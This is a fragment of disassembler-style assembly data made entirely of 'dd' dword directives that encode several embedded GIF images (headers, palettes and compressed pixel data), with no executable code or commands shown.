		dd 30063170h, 0E80F00A0h, 0A1B63584h, 0A1CC690Eh, 5C8870Ch
		dd 1032C50Bh, 0A6BAC22h, 941A840h, 581702Eh, 0EA1C60ECh
		dd 0E77C750h, 0A0670BA1h, 0B90C9082h, 90B6A583h, 0C07413C8h
		dd 2E0D709h, 8A80AC14h,	843386Eh, 7086C98h, 2D09A0EEh
		dd 5F09215Ah, 0AC1244A0h, 443B8640h, 0D4A90061h, 0F03E0348h
		dd 0C0D81E02h, 0C0981F06h, 80000200h, 49E5Ch, 31A64CC8h
		dd 66CCC997h, 2023FEh, 3Bh, 38464947h, 2C6139h,	0A3E7002Ch
		dd 17171700h, 35313131h, 38383535h
		dd 3A3A3A38h, 443F3F3Fh, 48484444h, 4C4C4C48h, 56515151h
		dd 59595656h, 5A5A5A59h, 5D5B5B5Bh, 60605D5Dh, 61616160h
		dd 63626262h, 64646363h, 66666664h, 68676767h, 69696868h
		dd 6A6A6A69h, 6E6B6B6Bh, 6F6F6E6Eh, 7070706Fh, 73727272h
		dd 74747373h, 77777774h, 79787878h, 7A7A7979h, 7B7B7B7Ah
		dd 7E7D7D7Dh, 7F7F7E7Eh, 8080807Fh, 82818181h, 84848282h
		dd 85858584h, 88868686h, 89898888h, 8A8A8A89h, 8C8B8B8Bh
		dd 8D8D8C8Ch, 8E8E8E8Dh, 908F8F8Fh, 91919090h, 92929291h
		dd 95939393h, 96969595h, 97979796h, 99989898h, 9A9A9999h
		dd 9B9B9B9Ah, 9D9C9C9Ch, 9E9E9D9Dh, 9F9F9F9Eh, 0A1A0A0A0h
		dd 0A2A2A1A1h, 0A3A3A3A2h, 0A5A4A4A4h, 0A6A6A5A5h, 0A7A7A7A6h
		dd 0AAA8A8A8h, 0ABABAAAAh, 0ACACACABh, 0AEADADADh, 0AFAFAEAEh
		dd 0B0B0B0AFh, 0B2B1B1B1h, 0B3B3B2B2h, 0B4B4B4B3h, 0B6B5B5B5h
		dd 0B7B7B6B6h, 0B8B8B8B7h, 0BAB9B9B9h, 0BBBBBABAh, 0BCBCBCBBh
		dd 0BEBDBDBDh, 0BFBFBEBEh, 0C0C0C0BFh, 0C2C1C1C1h, 0C3C3C2C2h
		dd 0C4C4C4C3h, 0C6C5C5C5h, 0C7C7C6C6h, 0C8C8C8C7h, 0CAC9C9C9h
		dd 0CBCBCACAh, 0CCCCCCCBh, 0CECDCDCDh, 0CFCFCECEh, 0D0D0D0CFh
		dd 0D2D1D1D1h, 0D3D3D2D2h, 0D4D4D4D3h, 0D6D5D5D5h, 0D7D7D6D6h
		dd 0D8D8D8D7h, 0DAD9D9D9h, 0DBDBDADAh, 0DCDCDCDBh, 0DEDDDDDDh
		dd 0DFDFDEDEh, 0E0E0E0DFh, 0E2E1E1E1h, 0E3E3E2E2h, 0E4E4E4E3h
		dd 0E6E5E5E5h, 0E7E7E6E6h, 0E8E8E8E7h, 0EAE9E9E9h, 0EBEBEAEAh
		dd 0ECECECEBh, 0EEEDEDEDh, 0EFEFEEEEh, 0F0F0F0EFh, 0F2F1F1F1h
		dd 0F3F3F2F2h, 0F4F4F4F3h, 0F6F5F5F5h, 0F7F7F6F6h, 0F8F8F8F7h
		dd 0FAF9F9F9h, 0FBFBFAFAh, 0FCFCFCFBh, 0FEFDFDFDh, 0FFFFFEFEh
		dd 45h dup(0FFFFFFFFh),	4F921FFh, 0FF000A01h, 2C00h, 2C0000h
		dd 800002Ch, 9FF00FEh, 0A0B0481Ch, 0B4572140h, 2571C8F4h
		dd 1083140Ch, 98244A23h, 41A14EC4h, 0A9ACE280h,	0A05087D3h
		dd 4A43132Dh, 9326E12Ch, 3E9B4B26h, 9E51A89h, 97442112h
		dd 399C88ECh, 51A0C4F0h, 0FA6D369Ah, 90C8A5A3h,	393E8C30h
		dd 5049C452h, 3D219A08h, 0C934F218h, 5181D12h, 44712423h
		dd 3D261129h, 59A62748h, 1911E854h, 44F22489h, 4A29542Ah
		dd 0B6198856h, 255479BCh, 8C3B0CE4h, 6B399CEAh,	480D4170h
		dd 94883A69h, 8B8FA861h, 2E077405h, 10866150h, 165F9A0Dh
		dd 5810D135h, 821A04E0h, 0F9A038CAh, 0F1A1122h,	0C0E5FF8Dh
		dd 60C08B2h, 0F1002B9Ah, 8F399171h, 684933C5h, 0C833C932h
		dd 7037E649h, 4211990Ah, 411E08F3h, 81C31B6Dh, 904C8823h
		dd 650477DAh, 0E38D1E9h, 8063409Ch, 276234D0h, 81DA1650h
		dd 2401BCE3h, 224D07E6h, 29167874h, 184FE6EEh, 0FE8B341Eh
		dd 5B3F1CCh, 5F407709h,	21F4CF94h, 22168FA7h, 99D8C9BAh
		dd 8EE68462h, 7CB47431h, 4D069B3Dh, 0A072351Ch,	7A1E4681h
		dd 210801F4h, 89222885h, 0B2649725h, 0FC9C2749h, 91248861h
		dd 220A3278h, 2912948h,	51684D0Fh, 0FC761AC6h, 8C228871h
		dd 24C90238h, 89C27098h, 34A89F27h, 289428CAh, 481AC818h
		dd 1240A05Dh, 791B867h,	1470671Ah, 24872108h, 982508C2h
		dd 2822B838h, 78288A2h,	0B1045F10h, 353343C3h, 9D1F41E0h
		dd 1E49725Ch, 771D46Eh,	0F2087F1Fh, 0E49882D2h,	0A127C9D4h
		dd 0C874288h, 0C350E053h, 0F0453415h, 5C9E1E81h, 6F1E8962h
		dd 1F0791D4h, 48520C80h, 0B4E66022h, 0D8769962h, 3A0E8530h
		dd 5133480h, 8991CC1Ch,	0D1E09224h, 70781D06h, 919EC829h
		dd 26E0D254h, 6482749Ch, 0E0E850A0h, 61341743h,	981B81B0h
		dd 1E090244h, 0C771D06Eh, 88FC7F1Eh, 95FE2408h,	0A6261258h
		dd 8361D52Ah, 1083B13h,	6C1A4D06h, 8E2546B0h, 1B476238h
		dd 87A1D873h, 0F21E3F1Fh, 1A0C2508h, 361D29A9h,	1143B134h
		dd 0C1D4D062h, 0B2486706h, 146C5C48h, 8381879Bh, 0AC493B28h
		dd 47398EB3h, 90F44C0Dh, 9D3418C4h, 8816C1E0h, 1C08420Ch
		dd 711B868h, 11F47BA4h,	988D2248h, 0CC24C928h, 0D870262h
		dd 4521104Ah, 10B9341Ah, 0EC7F14C2h, 641A87C1h,	0AAAF61A8h
		dd 0C894BE05h, 23C8DB6h, 0D86E2489h, 6A128470h,	90324D1h
		dd 4791EC52h, 9188691Eh, 14701B46h, 821EC78Bh, 0C6241218h
		dd 71E1B71Ah, 41BC5E13h, 38260D13h, 68CFC761h, 1A866180h
		dd 8731C46Dh, 7216079Dh, 90892208h, 361AC8D8h, 1804F120h
		dd 394D070h, 21C44F0Bh,	7C651CC7h, 6B1A0641h, 1DC73D14h
		dd 8859EAC8h, 922F4C21h, 8852D446h, 357D8781h, 1B46D140h
		dd 85D1886Fh, 0C1A46618h, 711BFEC6h, 2025C1D4h,	367BC881h
		dd 5D446722h, 0D06C1A85h, 520F4304h, 1AC691A0h,	0C6016C5Eh
		dd 61B34318h, 0FC7EA46Fh, 3F208801h, 1278521Ah,	0D501E05Bh
		dd 4118284Ch, 98651885h, 5E1605C1h, 0E5464184h,	2041D86Fh
		dd 1E647D1Fh, 2C371978h, 1B1F4601h, 1382D4D0h, 86017455h
		dd 0B15C5918h, 0E7931785h, 7896ADDDh, 0E670E1E8h, 4C0DC63h
		dd 40807F19h, 50550C53h, 5B168561h, 42453150h, 46418BC2h
		dd 41C8701Ah, 0DC761D47h, 601EBCD1h, 1A04B0D4h,	0C374D146h
		dd 0D1605E19h, 1C56FD45h, 0A918C61Fh, 0D6C6F1A7h, 0F35F4874h
		dd 1C0630F8h, 8C0E6140h, 204D0110h, 69E28550h, 1BC80B81h
		dd 668819C3h, 6E743BB4h, 60C88769h, 6D0F621h, 1062103Bh
		dd 9A012h, 1802002h, 600A010h, 12020038h, 3C0600A0h, 10190260h
		dd 504C0981h, 8C1282h, 80D01E04h, 81202A05h, 33204409h
		dd 0A20C4009h, 0C4488710h, 3B000080h, 38464947h, 2F6139h
		dd 0FFE7002Eh, 2C030100h, 2280500h, 6003705h, 3D06013Ch
		dd 370700h, 0A004307h, 300B0543h, 4B0A00h, 0B03520Ah, 4B0C0047h
		dd 45A0A02h, 0C054E0Dh,	5A0D0055h, 4D0F00h, 0F00620Eh
		dd 4A0F075Ch, 5D0D08h, 12006510h, 600F0E52h, 24E120Dh
		dd 16066813h, 51141257h, 0A4B1511h, 1A005F17h, 54190C60h
		dd 0F5C1D01h, 1C105C1Ah, 641E0551h, 15591D13h, 1D16601Dh
		dd 61210B66h, 1875200Eh, 210F5D20h, 681F196Fh, 126A2311h
		dd 25126524h, 68271760h, 1C632817h, 2B1C6C2Ah, 732A1E67h
		dd 28692D1Eh, 2C207429h, 73311A6Fh, 236D321Ah, 32246D30h
		dd 71351E69h, 2A783621h, 38227834h, 7A382474h, 286F382Bh
		dd 3D27793Ch, 743C3073h, 2C7D402Dh, 40297841h, 9E402B96h
		dd 32814239h, 44378244h, 7E463377h, 36964338h, 48338647h
		dd 884B3099h, 397C493Ch, 4C39884Ah, 804E3984h, 359F4D39h
		dd 4D468851h, 85533E8Fh, 3F9D523Dh, 593C8654h, 0A1554178h
		dd 3E8A5743h, 58469159h, 935A4092h, 45A55A3Ch, 5A4BA458h
		dd 8E5B4788h, 49A45D49h, 5C5A8D60h, 0A7604C94h,	4E91644Eh
		dd 6648A963h, 956852ABh, 5EA96852h, 6C579F69h, 0AD6C569Bh
		dd 5D9D6F59h, 6D65A96Dh, 0A0715C98h, 5BB1705Ah,	725D9B74h
		dd 0AF7363B4h, 72A47467h, 8673A67Ah, 0BE9966AAh, 6EC39868h
		dd 9B5EBE98h, 0C09B68D2h, 66C19A71h, 9E71CE9Dh,	0D09F68BEh
		dd 62D1A06Ah, 0A16BD3A3h, 0C2A274D2h, 6CD5A36Dh, 0A66DD0A5h
		dd 0BE9D95D1h, 7DD2A76Eh, 0A970C0A6h, 0D5AA71D4h, 81D6AB72h
		dd 0AC73C3A9h, 0D4B073D8h, 7CD3AE7Bh, 0B07DD5AFh, 0D7B17ED6h
		dd 80C5B08Ch, 0B57ED8B3h, 0D4B486D4h, 88D6B780h, 0B494D6B5h
		dd 0D7B882C3h, 83C4B39Ch, 0B98BD9BAh, 0DABB84D9h, 86C8B899h
		dd 0BC8BDBBCh, 0DCBC8ED6h, 0A2C4B8A5h, 0BE8DCBB9h, 0D8BD95D8h
		dd 8FD9BF8Eh, 0BCA9DAC1h, 0DBC097C8h, 91B7BAB8h, 0BBB9DCC3h
		dd 0DDC492B8h, 9AD8C498h, 0BDBBDEC3h, 0CEC2AEBAh, 9BDAC5A1h
		dd 0C6A2DBC7h, 0CAC4B4DCh, 9DBFC2C0h, 0C8A4DECAh, 0E0CAA6DEh
		dd 0ADDACCA3h, 0CBABE0C9h, 0C3C6C4DBh, 0BFDCCCACh, 0CABAD0C8h
		dd 0D2CBBBD0h, 0C7DECEAEh, 0CCBCC6C9h, 0DECDB5D3h, 0C6E1D0B0h
		dd 0CFB7CECCh, 0E2D2B2E1h, 0B3E3D1B9h, 0D1BDE3D3h, 0DDD3B7DDh
		dd 0B8CBCFCDh, 0D5B9DED4h, 0E0D4C0DFh, 0C1E0D6BAh, 0D7BBE2D5h
		dd 0E3D9BCE2h, 0D3E3D7C3h, 0DABED2D5h, 0E5D9C4E5h, 0C9E0DBC2h
		dd 0D7D9E0DAh, 0E2DDC4DBh, 0D8DBD9D4h, 0DDCCD6DAh, 0E3DFC6E3h
		dd 0CFD8D9DEh, 0DED9E6DFh, 0E8E1D1E1h, 0D5DCE0DEh, 0DFE1E3E2h
		dd 0E3E1DCE3h, 0E2E7E4DFh, 0EAE5EAE8h, 0E7EAE8EDh, 0F1EEF2F0h
		dd 0F4F2F0F3h, 0F3F7F4F1h, 0F9F7F8FEh, 0FCFAF8FBh, 0FAFDFBF9h
		dd 0FDFBFCFFh, 0FFFFFCFFh, 4F921FFh, 0FF000A01h, 2C00h
		dd 2F0000h, 800002Eh, 9FF00FEh,	0D630381Ch, 110659ACh
		dd 0D0983C1Eh, 0BD5EADE0h, 0D6F32988h, 8BBD5E8Eh, 0DC11DAF6h
		dd 0B56051C8h, 0DDECF67Ah, 0E492490Bh, 0F0F89045h, 6FC7D3E9h
		dd 3095BEDFh, 0F99C75CDh, 7F3E162Fh, 6BEE7330h,	4F678FC9h
		dd 0CA833997h, 8E71C9A4h, 9348A3BFh, 3487ED26h,	2F7CCF5Fh
		dd 97D3E661h, 14C7288Eh, 2B8DD68Ch, 0BC1C6E37h,	0C6C2F077h
		dd 9E4F1B1Bh, 0E6F2B3D9h, 0CF3B5DA9h, 1A8DD599h, 0E3395C6Ch
		dd 391E8F26h, 0DB1D8CB8h, 0DFAFAC8Bh, 0AF6CB65h, 18D84636h
		dd 2504B7AFh, 0E491A060h, 773D9BCBh, 0E763B9B2h, 0C9E5B2AEh
		dd 5669D4ECh, 6773AE77h, 2152F171h, 0C2412816h,	0BC4E1F0Ah
		dd 0D03C1D8h, 0B074385Dh, 1D76C1CFh, 6D375C0Eh,	8EE9B1B7h
		dd 0ABDC4CC6h, 0AF4AFFD1h, 8C052200h, 0C2D03B9Dh, 0BB3D9EBDh
		dd 0DADBB776h, 16BB61B4h, 70331A6Dh, 1E2B47BFh,	1D0C850Eh
		dd 0FE94E0E4h, 8E1DA72Fh, 0D96D73DBh, 0F6A34DAEh, 6EB3198Ch
		dd 270B11D9h, 9D4EC64Eh, 7FF2DC66h, 3F2DFF13h, 58D9F437h
		dd 0CC350D43h, 330D0340h, 0DC02A8DAh, 778527Ch,	64DC3247h
		dd 0D984DFE3h, 358D67A4h, 4D0818CFh, 830CCC33h,	99DA828Dh
		dd 701D9F46h, 89CD7314h, 8D78A615h, 0A348D285h,	0CC53261h
		dd 2034CBF3h, 836227CAh, 8C31C074h, 7358D235h, 521789E2h
		dd 0CD81A2E3h, 314C5334h, 0BF300C0h, 282CA533h,	0B4717762h
		dd 3868C31h, 9124380Eh,	0E4A91E30h, 0E930B92Fh,	460D70E4h
		dd 0C991CBA9h, 9161A334h, 0E48964CDh, 62E4B996h, 7CA130CBh
		dd 6D1BDF49h, 2E8B52B8h, 0CC12F8BAh, 39A8C530h,	0B66C30CCh
		dd 7130A6E9h, 191DC886h, 4B21AC6Fh, 8A368C2Dh, 72802FA7h
		dd 0B69B6829h, 2FCB02D8h, 0E0D9C89Fh, 42B86A1Bh, 0C8B22D0Bh
		dd 9F2D4B42h, 0A4CB62CAh, 0B0A5A6Eh, 92E4AC2Ch,	2DFE9389h
		dd 0A204E0F4h, 0CAE2AC68h, 1A96A2ADh, 0C0AE2CAAh, 0ACAB2AA2h
		dd 2D8A32B0h, 1576AAFh,	0D1283D0Bh, 9C681B05h, 0BB2BAB72h
		dd 2B4AEAE2h, 8AD2ACABh, 82ACAC2Bh, 88A6298Ah, 88B14B02h
		dd 9C13055h, 45A12838h,	6B56CD1Ah, 52EC2B6Dh, 0F029ED5Bh
		dd 298A729Ah, 8A0288A3h, 248A827h, 9010035Ch, 6615845Bh
		dd 0BC0A3194h, 0ABBA8A7h, 0D28EF1C1h, 6C9EBDEDh, 0FA2889A2h
		dd 92FC68Eh, 0C5310837h, 32886518h, 0D304C22Fh,	0F7C7CA2Bh
		dd 2570EBDEh, 0EFB2389Eh, 20C81E03h, 885D1304h,	1FC7CA01h
		dd 0CCCA3BD3h, 0B2128330h, 52549AC3h, 8F262689h, 1F028106h
		dd 1303F0C0h, 0B361845Ah, 7C8330CDh, 6B2227B4h,	9ACEB392h
		dd 29C0220h, 2E0780Ah, 0C150460Fh, 749E26C5h, 4CCDB47Dh
		dd 0CE09BCDBh, 4932574Fh, 0A68F5225h, 0B81B0240h, 511103A0h
		dd 0D8C9A170h, 363D2F61h, 3CEB3AD9h, 83D9FEC9h,	0A36CD4Ch
		dd 4B10435h, 6D3B3B17h,	0E786E1F8h, 8F24F7ADh, 0DF88024Ch
		dd 330A017h, 8E2859D6h,	0EF79E2B8h, 8F23F7BDh, 70081240h
		dd 41703009h, 30E43108h, 0A7981544h, 90DEF99Eh,	2379C240h
		dd 5A3E3C8Fh, 440602h, 4330BC2h, 67D9C551h, 0EAC94DE7h
		dd 0FAEEBB9Ah, 0F23C8B22h, 83B5ECF9h, 3B0C42A0h, 0E6890154h
		dd 3C2F47D0h, 0BF108D24h, 0F08B21C8h, 6019C01h,	941C02Ch
		dd 39C13FB8h, 4F97ADE7h, 13D5EBBEh, 872288AFh, 1F887218h
		dd 7DD001C0h, 0F0C7CA06h, 348FEC04h, 0F9F9BD42h, 0FB3E922Fh
		dd 843BEDh, 18878Fh, 1400C010h,	540840E0h, 39EB04D0h, 3EB81F0h
		dd 2804FBA0h, 0F0104388h, 0C020012Dh, 81901601h, 9A0940Dh
		dd 4600087h, 12C027D7h,	8482621Ah, 0FE208420h, 5A0B8820h
		dd 20030025h, 702802C0h, 611C1001h, 21CC2582h, 42A8050Eh
		dd 8590AC41h, 0E007D5Eh, 80300402h, 2E039EEh, 21214C37h
		dd 25887872h, 3F87D0F6h, 51483FCh, 8CD1C411h, 380503A0h
		dd 701C0460h, 912E2704h, 62842989h, 7F8A514h, 1FE7020Bh
		dd 9813022h, 13827048h,	0D111A120h, 0C6E3238Bh,	6DC6C747h
		dd 0CC788CE1h, 0C8F71EA3h, 0F1FA3EC7h, 0E40C808Fh, 2025Bh
		dd 3Bh,	38464947h, 2836139h, 2A1001Eh, 0CAD4EA00h, 0FFD9D9D9h
		dd 0FFFFFFFFh, 4F921FFh, 2000A01h, 2C00h, 2830000h, 200001Eh
		dd 0A90254BBh, 0A30FEDCBh, 8BDAB49Ch, 0FBBCDEB3h, 48E2860Fh
		dd 0A689E696h, 0EB0873AAh, 4CF2C70Bh, 0E78DF6D7h, 0FC23AEFAh
		dd 870A0C0Fh, 88F1A2C4h, 0CC92F954h, 8D09F3A6h,	0AAD4A74Ah
		dd 6ACD8AF5h, 0F7AEDCB7h, 0C78B0E0Bh, 8CF9B2E4h, 0ECD7AB4Eh
		dd 8F0DFBB6h, 0BAF4E7CBh, 0EBCF8EFDh, 0FFBEFCF7h, 3828180Fh
		dd 78685848h, 0B8A89888h, 0F8E8D8C8h, 39291908h, 79695949h
		dd 0B9A99989h, 0F9E9D9C9h, 3A2A1A09h, 7A6A5A4Ah, 0BAAA9A8Ah
		dd 0FAEADACAh, 3B2B1B0Ah, 7B6B5B4Bh, 0BBAB9B8Bh, 0FBEBDBCBh
		dd 3C2C1C0Bh, 7C6C5C4Ch, 0BC84B43Ch, 0DCA5BCCCh, 152D1D0Ch
		dd 7D6D2060h, 5D448Dh, 3B00h, 0
		dd 38464947h, 21D6137h,	0FBE700F4h, 10000h, 1000200h, 4000004h
		dd 9050007h, 20A0700h, 0B040C08h, 0F0C060Eh, 9100E07h
		dd 100A110Fh, 13110C12h, 0D14120Dh, 160F1B15h, 1F1B0D1Ch
		dd 0F201B0Eh, 1D10211Ch, 26211322h, 192A2518h, 28162C27h
		dd 352C1A31h, 21372E1Ch, 39273C33h, 453B2A42h, 2C57492Bh
		dd 4C2E584Ah, 6053345Ah, 366B5835h, 5A376C59h, 705D396Dh
		dd 39776538h, 673A7866h, 7A693C79h, 3F7C6A3Eh, 6D407E6Ch
		dd 806E417Fh, 43816F42h, 72458270h, 8A734084h, 478B7441h
		dd 75428674h, 8D76448Ch, 468E7745h, 79478F78h, 927B4990h
		dd 4B937C4Ah, 7E4C947Dh, 97804E95h, 5098814Fh, 83519A82h
		dd 9C84529Bh, 339D8553h, 8654CA8Ah, 9F87559Eh, 91677C90h
		dd 8958687Dh, 0BC8F3FA1h, 3ECB8758h, 8C54B891h,	0A58D5BAAh
		dd 72A68F54h, 8A569988h, 9A8973DBh, 59AE924Fh, 8C58AE90h
		dd 0AF915ADDh, 42FF9140h, 9553FF92h, 0B2945DB1h, 78B39755h
		dd 92519F8Fh, 0B49856FEh, 79A79468h, 9646A090h,	0FF9352FFh
		dd 5BB59958h, 9C5ABC99h, 0B0937BB8h, 54F59853h,	9D5CF699h
		dd 0A6957EB9h, 78FD9857h, 9E5DA797h, 0A7967FBAh, 81BC9F5Eh
		dd 9B5AA998h, 0FF9E50FFh, 5BBEA160h, 9982FF9Ch,	0C8997CAAh
		dd 66E89C69h, 0A270FC9Ch, 0AE9B8CBAh, 8DFFA15Fh, 0A260AF9Ch
		dd 0FCA36AFFh, 6DD7A27Fh, 0A965FEA5h, 0FFA76FFFh, 66C9A97Bh
		dd 0A96FFFAAh, 0FEAB71FCh, 75C1AF7Ah, 0ADA1FFAEh, 0CDAD9EBAh
		dd 98FFB180h, 0AEA3CEB0h, 0B7AFA7C8h, 92FFB382h, 0BA6FDCB3h
		dd 0C5B78FFEh, 89DDB493h, 0B594FDB4h, 0FEB58BDEh, 83C1B3A8h
		dd 0B68CFFB8h, 0FFB984FFh, 86FFB78Dh, 0BC8EFFBAh, 0FEBA96FEh
		dd 91C3BBB2h, 0BCB3FFBFh, 0FDC199C4h, 9BE6C1A5h, 0C49DFFC3h
		dd 0FCC5A3FFh, 0A4F7C7A2h, 0C6A9FDC6h, 0FFC8A6F7h, 9FFFCAA8h
		dd 0CAADFDCEh, 0FDCDA7FCh, 0AFFDCBAEh, 0CFA9FECCh, 0FFCDB0FFh
		dd 0B3FFCEB1h, 0D0B8FFCFh, 0FFD4B3FCh, 0B4FFD2BAh, 0D6B6FFD5h
		dd 0FBD4C1FFh, 0C2FCD7BBh, 0D8BCFCD5h, 0FDD6C3FDh, 0C4FED9BDh
		dd 0DBBAFED7h, 0FFDCB7F8h, 0C6F9DAC2h, 0DACBFFDAh, 0FDDEC6FCh
		dd 0C6F9E1C5h, 0E3C7FAE2h, 0FBE2CEFBh, 0D4FDE5C9h, 0E7CFF8E3h
		dd 0FFE8CCFAh, 0D6FAE4DCh, 0E5E0FAE6h, 0FBE7D7E8h, 0EAE9E6E1h
		dd 0E5E1E3E4h, 0DDE4EDF5h, 0E2EAE7E2h, 0E8DCF6E6h, 0EBE8E3F6h
		dd 0E4F7E7E3h, 0E8E4ECE9h, 0FAECE0F8h, 0EAF4EAE9h, 0EDE4F6EBh
		dd 0EFEDE7F5h, 0E5FDF0DCh, 0EEE9F7EEh, 0F2EFEAF0h, 0E4F9F0E8h
		dd 0F3DFFFF1h, 0F3F1ECFFh, 0F0FAF2E9h, 0F3EEFBF1h, 0F7F5EFF6h
		dd 0F2F8F6F0h, 0F6F9F9F7h, 0FBF8F3FBh, 0F4FCF7FAh, 0F8FBFCF9h
		dd 0FDFAF5FDh, 0F6F7F8FEh, 0FBF9FEFBh, 0F9FCFAF8h, 0FBFFFDF7h
		dd 0FCFEFAFDh, 0FFFEF8FFh, 0FCFFFFF9h, 0FFFEFBFFh, 2CFCh
		dd 21D0000h, 80000F4h, 88100FEh, 20B0481Ch, 964025C1h
		dd 0B0C2912Ch, 588643A1h, 489C4A22h, 8B98A231h,	0DC6A3318h
		dd 0C7A3B1C8h, 8A43208Fh, 0A4B2491Ch, 532893C9h, 0B2C95CAAh
		dd 3097CBA5h, 48AC7A63h, 9B4DA6B3h, 514A730Fh, 0CFA0D098h
		dd 2A79039Fh, 61B0A85Ch, 90588851h, 512A5CDEh, 50A7D3A6h
		dd 4A9D4AA3h, 0ABD5AAB5h, 0B5362F58h, 0D30C4588h, 1A915FAFh
		dd 0E8B0C85Dh, 0F0884D0h, 0B43B5D0Eh, 70B0592Ch, 4B9D662Dh
		dd 0BBDDAEB7h, 0BDEAF378h, 5BAE171Ah, 13036CB7h, 61D4985Dh
		dd 0BF7DC3E1h, 91B38C9Eh, 8E38D631h, 38C6469Dh,	0BDE42AB9h
		dd 0D18B2B20h, 0E632F53Ch, 4B399A90h, 63B9FCF5h, 0E52B0E2h
		dd 0F66A4C3Fh, 0A7D4EA68h, 8BC5363h, 0DBEDB6B9h, 368B73B8h
		dd 0EFB7BBA9h, 0BB75C0DFh, 78BC4E0Ch, 93C6CDEFh, 0BCA92EEFh
		dd 0CECCF139h, 4E8F0F73h, 0D94B7A5Dh, 66BE23D8h, 0F7BBBD58h
		dd 0FEC3E0EFh, 0BE4F1F8Bh, 0E8F3F9BCh, 0CF5FABD3h, 0F7FBBDBEh
		dd 9FCBE3F0h, 0FDBEBF4Fh, 0EBF3F8FBh, 0BFBFCFDFh, 600FFFFh
		dd 4006018h, 1C605816h,	42078C01h, 0D6FA096Eh, 440500C2h
		dd 1484E021h, 85E16856h, 60D79618h, 0D7821B6Dh,	0B4037161h
		dd 248646B0h, 89E26896h, 0E1F7FE28h, 18B1DE87h,	0C6298B9Ch
		dd 348CE328h, 8ADC98D6h, 40103423h, 0F0059088h,	40140202h
		dd 304C326h, 6D82F044h,	80304423h, 81341A01h, 6DB681E0h
		dd 0F0AC018h, 93C2D8ECh, 42D64204h, 69180104h, 866097E3h
		dd 2B856629h, 1C443052h, 41B8F60Fh, 0B1C43D18h,	9C340283h
		dd 3A030371h, 5C21640h,	4541B447h, 0C8F41807h, 1C168720h
		dd 7E00E681h, 2831642h,	83419C35h, 0E98C3802h, 4690A3E8h
		dd 3C8ADEBAh, 9B63D870h, 42706990h, 68286Dh, 0D44403D9h
		dd 85014676h, 0A62526DEh, 15A9608h, 9099B50Ah, 0B0FEA481h
		dd 0ACEB2AC6h, 867A9A2Fh, 0ADE08A5h, 0D4590259h, 0B5024596h
		dd 0D035185h, 6A59701Fh, 588E1C94h, 5C0386E8h, 815DB51h
		dd 0B4ED2AD0h, 22BA3ED4h, 6872A9B2h, 0E4719660h, 1C04C080h
		dd 8343D08Ch, 0AD894A2Eh, 0D6D46D94h, 0B6D58C06h, 14BBEEEBh
		dd 876B8B5Eh, 9B91840Dh, 4AF82A04h, 0EEC79FEEh,	0CE02190Bh
		dd 0B4454642h, 0F06C16F0h, 0BBC9FBC1h, 0B01B6DACh, 1310590Ah
		dd 1C6BA8F4h, 2A6BF82Ah, 96430BAEh, 9590A6C1h, 20C227D0h
		dd 0A4F22C87h, 5B6BCF17h, 70C00B0Fh, 38141006h,	6107817Ch
		dd 2428184h, 430220Dh, 9B672513h, 28361C71h, 351AC360h
		dd 0C8C36024h, 746D1744h, 0FB670A75h, 36440C61h, 4C6D4240h
		dd 5E10060h, 8228342Fh,	0AB62A401h, 0B1B6D2B3h,	2E914100h
		dd 0D8F62D1Ch, 0F66D9764h, 0ADA768D9h, 0B76CDAF6h, 70DBF6EDh
		dd 0DCF72DC7h, 0F76DD774h, 0ADE778DDh, 7CDEFEF7h, 5795ED8Bh
		dd 0F82E05D9h, 6E1784E0h, 2788E1F8h, 8CE2F8AEh,	0E3F8EE37h
		dd 9D5DFDD8h, 65016757h, 6798E5F9h, 9CE6F9AEh, 0E7F9EE77h
		dd 0FA2E87A0h, 6E97A4E8h, 0A7A8E9FAh, 0ACEAFAAEh, 57543E73h
		dd 0C52189D1h, 6ED43C40h, 0E7B8EDFBh, 0BCEEFBAEh, 0EFFBEEF7h
		dd 0FC2F07C0h, 6F17C4F0h, 27C8F1FCh, 0CCF2FCAFh, 0F3FCEF37h
		dd 0BD2F47D0h, 814903F0h, 15E725Ch, 0F93F0FC1h,	0F7CF63E4h
		dd 0FE2F87E0h, 6F97E4F8h, 0A7E8F9FEh, 0ECFAFEAFh, 0FBFEEFB7h
		dd 0FF2FC7F0h, 6FD7F4FCh, 0E7F8FDFFh, 0FCFEFFAFh, 0F6FDDFABh
		dd 0F61D8040h, 7A3DC766h, 81E43D0h, 1702A04Ch, 3A06C0C8h
		dd 8C1081F0h, 482704A0h, 0F05A0AC1h, 0A0CC1882h, 0C1C83706h
		dd 83F07A0Eh, 8A10C20h,	12C24847h, 0F980D04Eh, 0AC1007E0h
		dd 20311CA7h, 84071F24h, 48670C87h, 0F0DA1AC3h,	0A1CC3886h
		dd 0C3C8770Eh, 87F0FA1Eh, 0A20C40FEh, 0C4488710h, 88F11A22h
		dd 12A24C48h, 26C4C897h, 3F89F13Ah, 0F23D0794h,	15EB9091h
		dd 0E04B0B07h, 61E10C01h, 0F17A2EC2h, 0A30C608Bh, 0C648C718h
		dd 8CF19A32h, 3C20BC68h, 2583C8A6h, 58394160h, 0EC0F0200h
		dd 0A62E0F21h, 0CC788EF1h, 0C8F71EA3h, 0F1FA3EC7h, 0A2E4158Fh
		dd 4010783Dh, 8E91CA38h, 22A40476h, 46C8C917h, 9091F23Ah
		dd 920A32Ch, 0C4E4C6F9h, 8C758E71h, 0C93726A4h,	0F27A4EC9h
		dd 649C7A93h, 0C8792D21h, 94F2824Ch, 2AA54CA8h,	514AB957h
		dd 9738D256h, 672B2444h, 0DA5ACB49h, 746496F2h,	993121A5h
		dd 0F2FA5C48h, 0A60CC097h, 0C8393330h, 94B2C251h, 32A61CBDh
		dd 66CCC997h, 0A497522Eh, 0A733A5E4h, 5A6ACD49h, 3CD08C13h
		dd 0C9AF34A6h, 0F37A6ECDh, 0E6CC109Bh, 0CE099115h, 9CF39A72h
		dd 712714CEh
		dd 744A6962h, 0F09DF3BAh, 8A3CA56Ch, 6E71CAF9h,	0FEF89E33h
		dd 1B3EA7CCh, 0B0E0CEA9h, 0CFB9933h, 9A0740A8h,	725279CBh
		dd 0A824B297h, 50CA1742h, 3813F611h, 44A86CFFh,	9D14A27h
		dd 1137F43Eh, 3746A8ADh, 0FA8BD14Ah, 0D1CA326h,	0EA0348A9h
		dd 7480DED1h, 0E94D28A4h, 9BAA4B39h, 0A5F4AA93h, 4B26AD30h
		dd 98D2E373h, 0C1A6F4DAh, 6A6E299Ch, 0FA9ED38Ah, 0BD3A9594h
		dd 4A7F4F0Dh, 3272A2D4h, 0AA19B6A8h, 54CA9751h,	36B52245h
		dd 54AA6D4Ah, 0A7C77AA7h, 54AA2642h, 0B156AACDh, 0DA635069h
